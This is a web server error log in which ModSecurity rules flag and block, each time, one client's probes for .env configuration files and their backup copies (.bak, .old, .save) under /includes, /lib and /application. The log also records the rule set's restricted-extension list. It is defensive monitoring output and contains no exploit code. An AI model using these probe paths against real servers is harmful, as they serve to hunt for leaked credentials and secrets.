[Fri Oct 24 20:58:14.369607 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.save&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbWAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.460237 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.bak&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbWQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.460441 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.bak&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbWQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.460715 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.bak&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbWQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.460901 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.bak&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbWQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.537218 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.old&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbWgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.537414 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.old&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbWgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.537673 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.old&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbWgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.537902 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.old&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbWgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.628589 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbWwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.628837 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbWwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.629019 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbWwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.695821 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.save&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbXAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.696078 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.save&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbXAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.696241 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.save&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbXAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.740320 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.bak&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbXQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.740508 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.bak&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbXQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.740759 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.bak&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbXQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.740938 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.bak&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbXQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.803864 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.old&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbXgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.804054 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.old&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbXgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.804291 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.old&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbXgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.804459 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.old&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbXgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.868420 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbXwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.868730 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbXwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.868917 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbXwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.913896 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbYAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.914204 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbYAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.914423 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbYAAAAAE&quot;], referer: https://www.google.com/
